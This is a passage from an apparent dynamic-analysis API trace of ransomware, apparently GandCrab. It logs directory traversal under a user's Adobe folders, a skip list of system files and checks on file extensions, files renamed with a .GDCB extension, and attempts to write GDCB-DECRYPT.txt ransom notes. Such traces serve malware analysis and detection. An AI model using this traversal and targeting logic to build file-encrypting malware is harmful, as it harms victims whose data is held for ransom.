(lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.858] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.859] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.859] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.859] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.859] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.859] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.859] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.859] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.859] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 108 [0169.859] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 108 [0169.859] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.859] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.859] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.859] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.859] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.859] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.859] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 113 [0169.859] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 113 [0169.859] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.859] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.859] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.859] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.860] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.860] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.860] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 103 [0169.860] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 103 [0169.860] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.860] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.860] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.860] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.860] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.860] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0169.860] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.860] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.860] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.860] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.860] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.860] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.860] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 107 [0169.860] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.860] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4d18 [0169.861] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.861] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.861] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.861] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.861] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.861] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.861] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.861] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.861] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 123 [0169.861] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.861] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.861] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.861] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.861] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 124 [0169.861] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.862] GetLastError () returned 0x50 [0169.862] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.862] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 107 [0169.862] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.862] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a49d8 [0169.862] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.862] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.862] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.862] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.862] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.862] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.862] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.862] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.862] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.862] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 123 [0169.862] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 123 [0169.862] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 123 [0169.862] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 123 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.862] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.863] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.863] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.863] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.863] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.863] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.863] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.863] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.863] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 105 [0169.863] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 105 [0169.863] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.863] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.863] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.863] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.863] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.863] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.863] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.863] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.863] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 100 [0169.863] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 100 [0169.864] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 100 [0169.864] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 100 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.864] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.864] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.864] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.864] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.864] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.864] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.864] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef" [0169.864] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\" [0169.864] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.864] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.864] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.864] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.864] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.864] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.864] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\") returned 84 [0169.864] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*" [0169.865] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4c58 [0169.865] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.865] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.865] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.865] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.865] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.865] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.865] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.865] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC" [0169.865] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC") returned 86 [0169.865] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.865] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.865] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.865] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.865] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 100 [0169.865] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.865] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.865] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.865] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.866] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 101 [0169.866] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.866] GetLastError () returned 0x50 [0169.866] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.866] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\") returned 84 [0169.866] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*" [0169.866] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4c58 [0169.866] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.866] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.866] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.866] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.866] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.866] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.866] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.866] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC" [0169.866] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\" [0169.867] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.867] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.867] SHGetSpecialFolderPathW (in: hwnd=0x0, 